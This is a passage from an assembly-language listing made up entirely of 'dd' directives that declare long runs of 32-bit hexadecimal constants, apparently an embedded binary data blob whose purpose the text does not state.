6D007F6Ch, 0B9412D58h, 0E4C0341Ah dd 631E9A7h, 2800B6EEh, 1DAE6D2Ah, 0F1C7F1C4h, 0D71FDC32h dd 0D344676h, 0FF0389E2h, 0F04A4977h, 99C2A8B7h, 0F49B08h dd 0E0FF7BF1h, 4486DCDDh, 0E900976Fh, 0CD75187Bh, 0BE26BF5h dd 0A02C4688h, 58ACAD00h, 489C4A1Eh, 5C1F3B07h, 732BC741h dd 56E0418Fh, 7F20CEECh, 9C342C1Bh, 0DC814C39h, 30C35A10h dd 0F8B2D81Eh, 17151229h, 0C5852CEh, 6651C4A8h, 20921A7Ch dd 0D380A091h, 90EF7156h, 9A050F16h, 72267B41h, 124858B5h dd 0BB760A80h, 9C112890h, 40603F24h, 919B647h, 97B7CA00h dd 8626D2AEh, 0A8A0492h, 0C74D9BBFh, 55A2E7E5h, 265C9090h dd 1A701F4Ah, 5D56DA3Bh, 0B5B80640h, 0E59ACDBh, 1F774491h dd 0A891622Dh, 2C108019h, 0BD00CB61h, 14AA9425h, 0F8C2DB43h dd 0C0AB7C8Fh, 80AC176Ch, 3A01281Fh, 0DD6E073Dh, 9055C08Ah dd 4DBC2C41h, 0FC296A04h, 64397102h, 0B881978Ah, 623DA857h dd 0E53104A4h, 0B0B2E642h, 40B928C4h, 7DB32D21h, 5E0CB49Ch dd 6F00BB46h, 9462D96Ah, 9D7A3C9Ah, 0AFDEB615h, 0A0EB0C80h dd 0A0FC31B5h, 7FA9B94h, 768AF783h, 2D7018Ch, 0A60E60BCh dd 0A2403894h, 94733055h, 7589EF30h, 579FB810h, 3C426A0Eh dd 18B0D451h, 24D99DBFh, 6CB0304Eh, 7153128h, 867CC24Ch dd 1019874Ch, 1EBEEEDh, 0E07038ECh, 1C6C8998h, 78CBFBCh dd 0A914030Fh, 4882093Bh, 3900D65Eh, 0FCA10E86h, 46409AA7h dd 6A1502FBh, 312522B5h, 0DDE10ADh, 68FE5C6Ah, 9E0F8B22h dd 0D99B19A8h, 41D57068h, 8BAD7060h, 66BFE2A8h, 0E9B84C13h dd 0CEC8FC8Bh, 0C90178CAh, 0C7121E60h, 813CB700h, 5DDAB4A8h dd 6C20C55Bh, 0BF092Eh, 0A2F02B93h, 239CD705h, 753D9B3Ch dd 0D828B8FAh, 110AC6Dh, 2317A739h, 0BF4023AAh, 0E8D74931h dd 0F6004C5Eh, 32252F56h, 1F04A4AAh, 1CA67485h, 0DF0EFF02h dd 10CE69F7h, 0AE6B409Ch, 804F82ECh, 9889A4h, 0C153BE94h dd 2EC24A58h, 1F70238Ch, 10308091h, 562307F7h, 0B0825C2Dh dd 3EABDF8h, 1E16B2DFh, 50EF750Dh, 0D598E9C8h, 47227A00h dd 27E3C7A5h, 227C9AD1h, 443AF81Ch, 0C8585576h, 0C662893Ch dd 0E67E2FD1h, 2AA465Ch, 41F51A01h, 10CE3103h, 501AF9FCh dd 2589AB82h, 5C02BA36h, 0D8684AA1h, 6EE82E31h, 8F3824E3h dd 0F280A89Ch, 0C95E33C3h, 5F920693h, 59CD8312h, 0DF54F100h dd 0D43BEC15h, 0A8E0052h, 1DB81F6Bh, 45741842h, 24D98124h dd 0AA6A03Ch, 0AA3E1EE0h, 260A3C64h, 0A08D0BAh, 2DC6CE2h dd 0BF8F53BDh, 20B01841h, 76092424h, 4380627Ch, 0C090C2F0h dd 80B664CCh, 2C1772FFh, 140BE95Fh, 0B0AC6289h, 13301828h dd 0D0170Dh, 65C7FA00h, 0B1021D28h, 821E67A6h, 0AC800CA8h dd 302B0ACh, 1341F71Ah dd 10CC197Ch, 481AFBFEh, 0C40940C0h, 0B441A24Dh, 1C302609h dd 0E0047BF2h, 0ECB2DCE5h, 7BEA9880h, 10191EBh, 5172AF1Dh dd 402233C8h, 0CB27660Ch, 0B34AA171h, 0F2E6B447h, 9BC25110h dd 5242046Ch, 95019F65h, 0E234A280h, 368530D2h, 0F72D8203h dd 0BA58CEA1h, 0B7D8996Eh, 0FD048076h, 0B8A340h, 0CB496232h dd 709902F1h, 81893E6h, 60BB440h, 8D4008DBh, 1AFE4820h dd 0EB4123F2h, 0F907D411h, 20B41AF6h, 5D4C7F45h, 0CA0C333Eh dd 6DF888h, 0D7311985h, 338BBC93h, 68B38D30h, 26A67F16h dd 2C0730Bh, 0E2F6ECB1h, 0F75CFCDAh, 0C0AE3860h, 2249311h dd 0B7E29A19h, 6E823843h, 924874D2h, 682F4F02h, 54036E23h dd 0C18D6FFCh, 143812EDh, 9639FF01h, 603BE2B7h, 3D24A96Ch dd 0C982C82Fh, 0C8BB56ECh, 487A6E60h, 0FC01CC4Fh, 2BAC52BDh dd 0C69C30B2h, 8882FB24h, 6060EB96h, 23135CB1h, 0BA11AC30h dd 5CA9E800h, 6E5321Dh, 0B44A3CB6h, 8024EC14h, 30145CB2h dd 0E90387B4h, 40685CAAh, 0B3FDAC38h, 6A170974h, 0A2351804h dd 0FE0C580h, 0AF46E680h, 344A1486h, 0FB7A90AAh, 600F7211h dd 30158A93h, 4AD060DDh, 0B15088h, 93B5F3F5h, 0FAB2B991h dd 0EABCCE0Fh, 9779A0DCh, 0C0B79C03h, 98312798h, 42F37A70h dd 7468669Ch, 4632DD2Fh, 0E6E970DAh, 0F23B055Ch, 0C3C792B3h dd 0D0E77CA0h, 0E48D5DF5h, 0E7881A00h, 5EC98F6h, 439D04C2h dd 0B49B013Ch, 0D140124Ch, 3901338h, 293406EAh, 32068804h dd 6A33EE41h, 0A85F0098h, 0C1EC23A4h, 0AE6FA09Ah, 7A97C281h dd 0AA05E01Ah, 1980F3A1h, 0B13C7D8Bh, 8D01EFD6h, 9E181EE9h dd 20F976BDh, 0F37DB482h, 9CCA5CB7h, 6ED10079h, 0BD140A18h dd 10C867D3h, 2400BCE6h, 82BE5C8Fh, 90C0C010h, 59E3616Bh dd 552C1742h, 0CE1452A0h, 0FE79C874h, 4F57942h, 0E4C76620h dd 0D80077CCh, 1831D97Fh, 94B47623h, 886D1294h, 0B8419AC0h dd 7809468h, 9D88E5CBh, 81100F1Dh, 0D8057516h, 40CEACAAh dd 40A98C40h, 6D3EBFA4h, 0B4172C94h, 4E5D9809h, 18C0A374h dd 0C9C35AA8h, 4A5D173Eh, 0EC345E8Ch, 0A8B9A8C1h, 2D596200h dd 7109E2F8h, 607B2C46h, 4C98A7E0h, 0D7506C8Ch, 3BF8C090h dd 0C30E60DFh, 0E6DAE8C4h, 704E9860h, 0CB987463h, 0DA191E56h dd 62190091h, 7A2C3E60h, 349420D7h, 44948C80h, 0AEF93064h dd 0EB56D790h, 0B82460BAh, 61302EB5h, 8840559Ah, 0B1408D8Fh dd 0DE56245Ah, 643B8398h, 0B4ACC799h, 5840756Ch, 4FE34BB5h dd 7469A2B0h, 95137871h, 39F90C40h, 3FC95877h, 1E9DD2C8h dd 195830FAh, 2E25E2F7h, 22D00002h, 1958BDA8h, 72C1C63Ah dd 28806D2Fh, 45035840h, 0E24A3C9Ah, 8247E818h, 0B6500286h dd 0CF8B7C1Eh, 14D9E040h, 0E0DD2B2Ah, 77FC4E12h, 50931CA4h dd 0D4BFE80Eh, 9F0B3CA1h, 30B798C2h, 3404AA93h, 814ADDDh dd 15B4DF2Ah, 0C0B92BE9h, 7A2E7858h, 34746FA8h, 0F91A0580h dd 6CBC2341h, 0C880855Bh, 7590E16Bh, 295E0508h, 0F25B527Bh dd 9F4200B0h, 0D2815855h, 4B0E0207h, 49DE3E27h, 6A4F1C50h dd 88AA3040h, 0C34C4h, 7CCAC20Ah, 938A53C0h, 127FD500h dd 0E30D08B3h, 78440370h, 0D8B22F57h, 29C7B813h, 24BD5820h dd 77DBB8B3h, 519092D6h, 46F0A8ABh, 4594884h, 18671892h dd 0CA09098Eh, 72CBFF14h, 0A468480Ch, 0C2EC944Ch, 0DFB21C8Ch dd 0E00BE3Fh, 0FDFC46F6h, 134C67E2h, 0C7FA1290h, 0AFB2A0E3h dd 0B83AFC30h, 70D801B6h, 0A21D2739h, 7EE89312h, 821A5480h dd 485C75B5h, 4B2AE81Fh, 46A82580h, 0E4B50422h, 76416054h dd 0F6025C74h, 0C97AE0E0h, 0E879A181h, 0FCC5DB01h, 0E8B8C39Ah dd 61097D5Bh, 8221A8CCh, 42997A68h, 8F66802Ch, 0AFA5BB46h dd 0BCFBC174h, 22387060h, 6623DF40h, 0D16EE890h, 0F35E9496h dd 0C07C8019h, 0EE087416h, 82E02521h, 4870D848h, 0FB4C9D03h dd 886D97F0h, 9166E8Ch, 54D17951h, 8BE99882h, 4A4EE001h dd 8125868h, 4D24E490h, 0B31D3600h, 43547F81h, 0CB040033h dd 93F174D3h, 99484CCDh, 110CC130h, 9858FBA0h, 91C06782h dd 6C831F3Fh, 22E88497h, 39C7743Eh, 19C00EB5h, 541EE508h dd 2443C03Dh, 89F82134h, 308424A7h, 0DA50257h, 0E49C9B5Bh dd 0B66A1660h, 3C2D2223h, 0E0EDFC4h, 8147AE6Ah, 994FB488h dd 27DD170h, 0FAB7FD0Fh, 0C8400612h, 249BB61Ah, 4166A0DBh dd 0C46B02DAh, 8CCC26E6h, 0D9DFCC40h, 3D43F980h, 3C83D876h dd 8A1EE108h, 0B018F905h, 0F0E0D2F4h, 0E43E1324h, 56BCA46Dh dd 0CAB8AE58h, 6082E0F7h, 20D8B636h, 0E33F0CA8h, 0D1410099h dd 433A7314h, 67084EFCh, 0DCD7581Dh, 0A88688ECh, 2F90A577h dd 3C27BDC6h, 0C4678D9h, 74C496A8h, 0BE1FD446h, 0CF6B1C30h dd 0D0E0E785h, 9CA87A42h, 5AB47514h, 594AA1F0h, 22043436h dd 0A85E344Eh, 0C1299AA8h, 57100918h, 80BEEA34h, 0C761E640h dd 0F018490Ah, 193C8B9Ch, 3056B825h, 1C7939F8h, 177BD13h dd 700000A2h, 2FA0BEF5h, 74125578h, 0E0083CE6h, 456962h dd 4B63AE64h, 0D5D178A8h, 0A2C84D0Bh, 5EE84AC0h, 8B02DCD0h dd 0A5732B7Fh, 0B1F0404Dh, 82D8808Ch, 25B85C01h, 27320912h dd 41045C60h, 0F00C304Bh, 5CB6058Ch, 0B2D43018h, 0AEEDC000h dd 71056B5Ch, 0CD4C092Fh, 9C0BEAA7h, 18F6E0E1h, 0B06A1A10h dd 0C896B022h, 6A08D900h, 85E0E5A9h, 650700CCh, 427F3F21h dd 0C352812Ch, 0AF3A11D0h, 0F78E9000h, 52BDD362h, 0DD87ED09h dd 0AC505959h, 0CA6E0878h, 188F3817h, 0A419B0Bh, 761C34A0h dd 0D49485E8h, 0E91E6605h, 8A14CA4h, 0A99556DBh, 0F284842Dh dd 0D7BCD451h, 5A6C7D04h, 0E482C928h, 40D4A24Eh, 957478C2h dd 0B3918417h, 0D09E4D80h, 0F10B0427h, 0E88F9047h, 41DE2658h dd 397091C9h, 0F99C109h, 0F8049066h, 15E1067Bh, 9E207462h dd 38907BF0h, 170F5AD5h, 23E0BB34h, 444622A4h, 4BC7C59h dd 0D08656E0h, 5B8EB848h, 7613C024h, 1AE837Fh, 2C8B43E9h dd 0D9A1CC78h, 1200609Eh, 2399A40h, 641BE26Eh, 0D094A7D2h dd 0B881D7Eh, 2EE00CF9h, 1270B1AEh, 1054014Ch, 0C7179B38h dd 40CCD233h, 0A886B0D4h, 1899AF42h, 199BDDB5h, 34B819F9h dd 0EEAD0120h, 0A8A1058Eh, 0E2C04DA2h, 215030D0h, 0E93C7622h dd 56E2F982h, 20F3D17Ah, 0B1506680h, 0B64928h, 1CD59802h dd 0A93FB77Dh, 0E5403CA2h, 0FA000B04h, 3BBA3348h, 478C5Fh dd 430902C4h, 4183212h, 0AE79B091h, 1DA06F19h, 1FD15B64h dd 0C20E0444h, 202CE629h, 67430BC0h, 0DC296D10h, 6B7CD483h dd 0CDF5F908h, 8C980262h, 7073AF02h, 0F29B090h, 5FBCC220h dd 38201033h, 1831007Ah, 15288724h, 1AC9A7Bh, 0B90C2B08h dd 50433CA8h, 0E6365E4h, 1893CB7Eh, 2FDCD03Bh, 7420E989h dd 498E4E0Fh, 20F24E08h, 0A61C2908h, 19B607Eh, 0FA13BF08h dd 9CA3B82Fh, 0E377B780h, 2CA64671h, 7A0A3496h, 0B19E3CABh dd 315CAEE2h, 0D720A1CBh, 0A042018Dh, 2FC01091h, 7C0894A7h dd 6B3B80E2h, 183C685Ch, 0E0A13544h, 0D0D6201Eh, 488F1925h dd 1C02B79Ch, 132A4EBh, 0FD76893Ah, 62A46011h, 2723D540h dd 7429CC81h, 4670947Bh, 0A1641183h, 665900ADh, 90BC4267h dd 2E06E424h, 9F091DBh, 30F1DFDAh, 2885408h, 0DB1EDD6Dh dd 0E8ACC471h, 4B04674h, 6FF9FFF6h, 99CE0881h, 0BD940404h dd 0D74006BFh, 56220931h dd 421589Ch, 2BE6DB15h, 792AC844h, 0AD0384E7h, 1E8BCC94h dd 1DFCB1C8h, 7425B301h, 3E0D75D6h, 41E7A460h, 0A874AD4Ah dd 0C91BE408h, 0C245B119h, 0CB0156Bh, 3C64E209h, 0DC54F8CEh dd 44B610A4h, 0C3465Ch, 18F28EE0h, 2F4A826h, 0D808D6EEh dd 145C586Ah, 916309EFh, 90E28A88h, 805ED08Ch, 0C0AAB58Fh dd 7279E4D9h, 6000BD18h, 494A20Ch, 2DCA5D1Dh, 0B46102ECh dd 0D4473B24h, 0D1DB8039h, 1F2CF130h, 3B5E2CC8h, 4C782350h dd 838B4C6Ah, 0D4A840E8h, 54C96F00h, 58B95905h, 0AEF500C7h dd 0F6FB5FA0h, 0C02E464Fh, 570214D8h, 0C0A72392h, 96D14E88h dd 1ABD8028h, 0A8580282h, 0E488F198h, 0A4A9698Eh, 537080C9h dd 7E3524A7h, 4BB40045h, 0F8E331E4h, 76F8A4C3h, 26A46849h dd 9E091405h, 0D99051D9h, 0D618D3h, 340E2D20h, 0FF5F9B36h dd 95047101h, 0DCB6791Eh, 82278429h, 0B2597448h, 1C0B5516h dd 921EF804h, 3BC1BC90h, 16A740D9h, 33508D04h, 6C92036Bh dd 5CB030EAh, 0A4301211h, 0E780C188h, 0F0315CA8h, 16EF88Dh dd 443621FFh, 3BCC4164h, 0A672E840h, 2E3533DDh, 74C85811h dd 0C61CB446h, 7679005Ch, 0E3699B5Ah, 601F6405h, 0E0063A19h dd 160863E1h, 0F1F62EE2h, 1730377Ch, 0E4B4C281h, 13E0033Bh dd 9C2C0D84h, 4D1742DFh, 0E9B04CE0h, 15320E0Bh, 0F3D86047h dd 0FD341841h, 6E9AD1A3h, 68E9C2FEh, 0C7127898h, 0C040592Ah dd 0A8B8024Fh, 0B1E49066h, 2278A86Ch, 0B518D4FAh, 22E1D2DBh dd 62FC2E6Eh, 89CF455Ch, 34232F54h, 695BE8B6h, 0A3AA3F38h dd 0F9B14883h, 25883218h, 8960743Eh, 56810740h, 38D5594Ah dd 0D0489025h, 862936E0h, 64088CCDh, 0B266138Ch, 3BE4048Ch dd 0A700C861h, 6C244E22h, 0FE42D49Eh, 1AB705D8h, 0B80341FAh dd 1911BDCAh, 0A0501D3Ch, 0C4F5048Bh, 0B8F04DC2h, 182B0744h dd 8C3A3DA9h, 0C0D93829h, 0CD01E118h, 0FDA512C4h, 603D81B4h dd 8715EF00h, 38BB002h, 88762517h, 40FF9C80h, 60B95854h dd 38CB4F8h, 8309E73Bh, 0CDB98988h, 0C2940h, 7F8515C1h dd 0F98080Ch, 1FEEED84h, 0F9947D02h, 1496BC41h, 0D2F254E2h dd 770DCC30h, 0A86F0344h, 0C1216763h, 320B2104h, 10A8FAEDh dd 7A42F20Fh, 3E714F8Dh, 0CC23203Ah, 0AC050B12h, 0E802B2FCh dd 79FB065h, 522C9524h, 60B8F5E0h, 4A889B1Ch, 0B4DFF0CBh dd 0A44641F4h, 6810015Bh, 0F1E87420h, 81C8EC63h, 2CF928A8h dd 0F3268384h, 0F56FE0BAh, 118A389Ah, 0D7A0D106h, 0EF00080Ch dd 9028FB35h, 34AD3F8h, 6ED0E3DBh, 6AD30FD6h, 0AD568DC8h dd 0E9E23Dh, 3ABDD921h, 0C505876h, 2D652E5Ch, 0B514EE78h dd 7CCA93AAh, 95EF690Ah, 360608A2h, 1D282575h, 8CE0C074h dd 0FE80FFF3h, 2A9AB600h, 8AC3DD75h, 375F39F5h, 5280CC3Ch dd 87A5EB84h, 6A00511Fh, 0B578F7D1h, 3D6B84Eh, 0F00B2B05h dd 71808B65h, 7E6E86FFh, 851B01A9h, 2880AA02h, 51AD2A28h dd 0F50F87FEh, 0ECA0325Ah, 7B971C9h, 61CC1CD5h, 84FF2156h dd 538C47E4h, 800AFBAh, 62D340D1h, 0CE1B1Eh, 31E139A6h dd 5A2BB809h, 0A063CA4h, 0A4B956F0h, 4EC00039h, 6C2A30C3h dd 2133D524h, 7BB0834h, 0C346E721h, 0B4001B0Ah, 0CE8AC909h dd 0FD36D00Ah, 0AE009816h, 4E63C2F9h, 0B0911585h, 0EF1DE074h dd 75290369h, 0D840F28Dh, 2F0CAF84h, 60A15168h, 0F1F8C422h dd 3B5802F8h, 0D78286A4h, 5E5C0CE1h, 59680C91h, 36145AE0h dd 3B082A89h, 0D4F42AE0h, 0FB95506h, 7815892h, 835266AFh dd 56D0F1A4h, 8E342545h, 0F1892438h, 945B0F00h, 0F55C78FCh dd 4470A419h, 49800808h, 66945332h, 3E0E0AB9h, 0F2FFA77Fh dd 0D6E6B300h, 62F8739Ch, 0D596F8D0h, 2668A00h, 0D6E7021Dh dd 0CEC3759Fh, 8E83E48Fh, 181009C2h, 183AD23h, 3FB24E0h dd 0BD7A7004h, 0C80A7AAh, 198F265Eh, 0B8A12BF5h, 98581821h dd 44782940h, 3115Ch, 0EB94502Fh, 52D0EEh, 51DA9D7Ah, 0C3857D17h dd 0A04A9028h, 7F52F22h, 7C7198AEh, 82A18451h, 144C555Ch dd 2FC34D04h, 0E638642Ah, 0EBC34500h, 74E49EBDh, 13ED008Ah dd 8943615Ch, 5606A56h, 0BD72FAF8h, 0E0AE604Ah, 82F915D1h dd 0BB68E18h, 63A020h, 7AF42119h, 0F77989C0h, 102460D4h dd 8C1DE4D5h, 399926Eh, 5BC39F68h, 15AD24F8h, 0FF20ED60h dd 533FB845h, 0C4C42053h, 46F06696h, 884A3E52h, 0C44C2A2Ch dd 42E340BAh, 1CE1CC3h, 0A625116Bh, 24E1E9CFh, 0BB008A5Ch dd 0B4A4336h, 0E83708h, 1739AE68h, 0CD1F45CFh, 89B02C03h dd 1406C266h, 0C82F08F8h, 0BD18A002h, 9085A4DEh, 23FC483Bh dd 0FB945AC0h, 22544678h, 5231000Bh, 0AAE02494h, 0DE397982h dd 5A849C7Eh, 0E8465030h, 0F1A9CED4h, 0E05FB247h, 5204141Dh dd 7313E53Ah, 0F81821C1h, 0F82011B2h, 0E43240D5h, 8922F490h dd 42B003h, 0A74ED046h, 1A58F93Ch, 0B5E36800h, 3DD85A50h dd 2C031DC1h, 2609FCEEh, 0C400F2C9h, 0A30A8578h, 0A039E8C0h dd 0AD10EF1h, 0DFAD7D2Bh, 868801D4h, 24E6FEAEh, 0FF554198h dd 439843F0h, 0A2E88153h, 8DF43007h, 49CB2601h, 0B6529513h dd 484CB822h, 0A88B5580h, 4484388Ah, 8F3FFD13h, 0C7AE00B8h dd 0C95A5B3Ah, 7276003Dh, 20AABF7Dh, 120BB7F4h, 20A10E95h dd 0C752E04h, 90F890C4h, 0D7F0188Ch, 291F5103h, 89486401h dd 80F3C515h, 211A0998h, 6400213Fh, 58C681E3h, 18D7A2Bh dd 3757403Dh, 3159C72Ch, 0FCAC0970h, 0C6413A95h, 0EC1DC03h dd 0B86DAE19h, 56220BD3h, 0F4AF0811h, 261498D3h, 54F02C5Dh dd 0D490A070h, 7890AE59h, 2573AF0Ch, 128890D2h, 1156266h dd 0BB752D5Ch, 28D883C6h, 130C8656h, 409C18h, 168C7BC0h dd 4160A23Bh, 4F8A8B10h, 0A5A02C2Ah, 0C58942A8h, 10D578C1h dd 0C69880Eh, 0AEE6957Bh, 0CD4556C9h, 697AB030h, 44B0E0C7h dd 0D258FF57h, 0A2B04388h, 1DF53017h, 57496300h, 4A715C53h dd 0E28E2683h, 3C04ACE4h, 8B8CF124h, 10B120E0h, 36F042C9h dd 72568820h, 8938CE12h, 78204792h, 88C3849Dh, 0D1C0FC34h dd 8A69D96Fh, 6751C0FEh, 11A43AC3h, 29CB061Ch, 6893D003h dd 2C21E819h, 0F655247Dh, 0F02E4290h, 0D9A59F01h, 0E130A053h dd 8097021Ah, 0BA746199h, 0B5F050ACh, 400037CFh, 27A1E687h dd 902A8159h, 70CD44D0h, 0D79BE105h, 0C0606061h, 420EBD22h dd 0CCA677B7h, 0D8BBAE29h, 0B202A442h, 527060D4h, 57BA80B6h dd 0D0FFE713h, 0C051C008h, 2A2BC349h, 0B7224446h, 0C341E203h dd 0F661AE1Eh, 0FE162070h, 0C27E8FA0h, 5C4950AAh, 7C2AFC55h dd 0B4857B3Ah, 888E20A9h, 1CC0E988h, 6203ADCh, 155FAAEh dd 0D8196013h, 0B028D645h, 24A52EF8h, 44F8C6DBh, 643060F7h dd 4D89234Fh, 46021411h, 0A6DC6428h, 0A40F1440h, 60B51880h dd 8882B98Eh, 5100D0EFh, 0D16AE096h, 924984C3h, 66FE090Ch dd 1772h, 5CCBAEAFh, 95799406h, 8440B3E2h, 0D1A0912Ch dd 9CF1806h, 0F489C7DAh, 0FAA29481h, 7184707Ah, 42BD791Dh dd 0F820B069h, 48D38226h, 98142765h, 84A82C9Ch, 0B0DAE80Ah dd 7FD5BB80h, 3E35089Fh, 88AE997Ah, 79404050h, 0D00956C9h dd 22668689h, 4048F97Ch, 0F1FD1AD4h, 54096400h, 1C055E13h dd 0EA736840h, 98B42F0h, 7C95991h, 0F485C827h, 243E42B4h dd 0D3EE00AAh, 8098F92Ch, 0D6BCE610h, 50071405h, 13203C24h dd 1848A746h dd 209D722h, 212E7536h, 0F721C080h, 80CA9C43h, 282D87Bh dd 6E8D4374h, 0DC800386h, 0D488F32Bh, 0A4B033E8h, 203FE430h dd 86E9ED60h, 8155FB01h, 664C8AB3h, 90E83720h, 7CA31C08h dd 8C2860D5h, 0A481C56h, 8CB4BCB4h, 852C781Bh, 4F5003B6h dd 0D9D5E5Ch, 6059D009h, 0E58085C6h, 8E28B0D0h, 0C82061BAh dd 8199ACCBh, 565A4F89h, 242195h, 26BC918Eh, 0B8613D64h dd 24067BAFh, 8E2C8A84h, 0B8B03472h, 0D9B9065h, 0B8D168E4h dd 3F304238h, 0D0A0E04Ch, 0DC905A58h, 0EC44E0A6h, 0B2F10011h dd 394E0D7Ah, 0C8489151h, 2E56177Eh, 0D913345Ch, 60DF3C97h dd 0FB604ADAh, 0F6670492h, 0EC84C51h, 5253C397h, 0BAD8B988h dd 2495EEECh, 308A51Eh, 74B35A37h, 0A4A0B0E2h, 27AFCEA9h dd 5DDC8F01h, 751E180Bh, 48929830h, 0B5108C07h, 95780B0Ch dd 3070291Ah, 4F16F6Ch, 0CD859FEEh, 8A8C8003h, 9CF7D25Eh dd 403889B8h, 0A137001Ah, 84175824h, 0F31FF635h, 82521D67h dd 857D6402h, 0BA5C48B6h, 0C0A1DCAEh, 0C0994E3Bh, 0C100BC9Dh dd 8691FD8Eh, 3407B33h, 8D12F2E9h, 3805D252h, 0D175682Ah dd 1D0EC55h, 3272BEEFh, 0C0202417h, 0E2E4431h, 69EA5532h dd 71B4510Ah, 0F518BBh, 53D04057h, 28878A81h, 0C8A6B00Eh dd 9D8D232Ah, 3C8813FCh, 0E02C805Dh, 1606F23h, 0B0E97098h dd 2C30C57h, 2B59B6BAh, 5C66C603h, 6962D69h, 5540EC1h dd 590520F1h, 1E681A39h, 96709804h, 442998B0h, 9D1518F6h dd 1CD4A2B2h, 28135A71h, 945FA461h, 877C79C0h, 94573600h dd 1F02BD04h, 0D2A52ABEh, 93D820DCh, 0D1005ADFh, 45E1BA21h dd 0A6041CCh, 2B9365Ch, 94F805ACh, 32C490EAh, 0B0B8C0A0h dd 1AEE7800h, 6042615Ch, 973E437h, 8D2DD4B5h, 2708D829h dd 22691ED0h, 23DA7412h, 83BAA0D8h, 0C6A8480Bh, 56FCA1DCh dd 8D100376h, 0FE807B34h, 47FC12A4h, 17E4D883h, 204EA781h dd 9D782311h, 43A9B97h, 0ED00BA23h, 53F6A92Fh, 68F26237h dd 2B0504B2h, 20E23082h, 3725241Ch, 0FA9FFB00h, 0C70CE342h dd 295B091Dh, 15839F0h, 85EAE927h, 0A0C05448h, 0D0D9560Fh dd 0B516E871h, 0E0A442B2h, 0F8A0F227h, 2232614Fh, 8781C100h dd 56C70BD2h, 4CFC597Ah, 71064160h, 3612F2E1h, 3C43E5D9h dd 0D9223750h, 0E4C319B3h, 1894CA4h, 1E824BDh, 84FC25E0h dd 0E1E9E769h, 0C3F0748Ch, 0C410D819h, 66013802h, 0A9E6F7A2h dd 0F6AC0580h, 92F40D8h, 45894E64h, 80BD3865h, 5FF96427h dd 417B299h, 0A2805B2Ah, 0C41C8F94h, 107ED8DDh, 66B8D8DDh dd 0C4859015h, 28AC74h, 4832FF4Ah, 4769EAE6h, 6A66890Dh dd 0F0F47010h, 0C8A64D84h, 0E9E5D860h, 0C0A0A2E8h, 7B0B6B5Bh dd 90ACBE95h, 84FBB3ACh, 4656D89Ch, 1B5D0206h, 612AB736h dd 0AC41DEF4h, 2024D9E8h, 64A10B5Ah, 3507861Fh, 0AB2681D3h dd 0CE1064FDh, 278A1B18h, 0C407A151h, 13F9BB90h, 105AACCCh dd 22F153Eh, 0B01125A4h, 8BCC47Ah, 1EE2662Ah, 0BB752905h dd 0D46354A1h, 6D011500h, 61CBB1F2h, 0B044874h, 2A568D24h dd 0EEF0BC90h, 9E8C12B5h, 0C10484D9h, 5AB7A90h, 2F7AC0Bh dd 0F1030Ch, 0C7DB7C06h, 12F4643Eh, 6C419D56h, 0D8F97566h dd 39558440h, 0A8A701F3h, 25A5A06Dh, 189832DDh, 9F7828B8h dd 0D56A06C0h, 0D00FF008h, 81645932h, 1E9882D0h, 85B500FEh dd 90C2A8CAh, 408B0918h, 0FAEF8CFDh, 2FE8A6F6h, 20043907h dd 7BF4C0D0h, 0E9F897F0h, 3E1880FBh, 1EC73268h, 31D8B0C6h dd 7C1805E1h, 0C8DD4485h, 9D2A7D10h, 245C88FBh, 18563001h dd 5246C075h, 120148A1h, 58648809h, 0A6C2017Ch, 37D0640Eh dd 9051D2Ch, 2175E794h, 225C2068h, 7C0E1E3Eh, 82F3D55Bh dd 809F049Dh, 0A1FEF054h, 2E8D122Ch, 0C60407CFh, 0D10198D4h dd 0D30C3367h, 13980C24h, 0CC1B8526h, 69E15924h, 24384264h dd 9F06D842h, 0F8592AA5h, 11E84A66h, 4480FC54h, 0A5E73839h dd 43C56340h, 300CD6E4h, 9107B0F2h, 3748A28h, 0AD146260h dd 9D7A50B0h, 7CA49EF2h, 91CB8635h, 4647BC83h, 0C5240CA9h dd 0D0699B44h, 68C03BC7h, 0AA0AC4B5h, 58F70D8Ch, 0EA1E923Ah dd 258DAC03h, 4F1832D3h, 64514080h, 59B2F981h, 0EE18ED5Ah dd 0F21288h, 0E13896B2h, 93485DFAh, 1E55D200h, 0D4C27B01h dd 9294E35h, 0C4E0507Ch, 0BA526902h, 0AF9103CCh, 9FA5EC53h dd 0E8210685h, 20340189h, 32F800C4h, 126970C0h, 27007F8Bh dd 0EAEC6FFBh, 141198CDh, 0A4C65A64h, 0D00AD884h, 311DB820h dd 7BB29701h, 0FD33D59Ch, 2D011460h, 0E02E8804h, 8D780931h dd 60F4E2D2h, 8107E130h, 0C20430F0h, 7CCB61C2h, 0F24F8E9h dd 0F1E88E7Fh, 84CCC113h, 0DF242CDFh, 0D0411B13h, 4915E5Ah dd 0DB22508Dh, 0C0DC3878h, 0BFAFD49Ch, 2E4213E3h, 1841D48h dd 7F04DC07h, 0FFD18005h, 0E8F46554h, 0AE11C0E0h, 0C7B70A2Ah dd 6A826100h, 91894DB4h, 31F200EAh, 93878A66h, 0A03ACC83h dd 39E830FFh, 67ED365Ah, 59D8900Bh, 0A7603C44h, 65AD2BE9h dd 0A59C83E8h, 0B1389168h, 6BDA7000h, 5C71BE72h, 0C0A1090h dd 0A8942298h, 0D0FFEE87h, 89817341h, 0D3D54180h, 0FD5CC3AFh dd 0B72630CFh, 814C1C20h, 1F1924BEh, 732B064Ch, 58A399B8h dd 0CA2C8AFh, 61045C0Fh, 0AA8E44B3h, 0EC72C4E1h, 0C930BDF2h dd 0FE5C006Ch, 236D643Dh, 0D748FDB3h, 22BB8024h, 0E86FDEh dd 68C8AB4Eh, 598529EEh, 31E9B092h, 0BB2FC868h, 0F40364B0h dd 0B5AD2A21h, 63200CD4h, 0A071D6D0h, 0A2815504h, 5C9CD3FDh dd 5EA0B70h, 2B86DBC4h, 581319ABh, 0F31DD6F4h, 98526305h dd 7536B381h, 8B86C4h, 0D134A5E1h, 30E8DA21h, 0ECEFD503h dd 88589C52h, 4C64F71Eh, 2510880Ah, 25F0222Ah, 8108F53h dd 401B423h, 0B519725Bh, 3472A74Ah, 369D2C78h, 7EBCAC98h dd 4D53D21h, 48E6FECEh, 20875E9Bh, 0C0783C08h, 13165E89h dd 0FFB383h, 0AA6FF9E1h, 961EB57h, 0E64D2100h, 89CE0845h dd 0B02C0956h, 0D02D0BE9h, 0CF02D069h, 44352726h, 0F804946Fh dd 787234h, 3A746006h, 1A205E10h, 6F560F02h, 8B510E43h dd 0DCC000Ch, 1B446155h, 8201C06h, 14F164E0h, 7C65583Ah dd 3D6C5F00h, 3F696710h, 0C63EA08h, 73550540h, 20335F28h dd 0F811613Ah, 0F0326562h, 342E3C63h, 0F1015D3Ah, 3F6157F4h dd 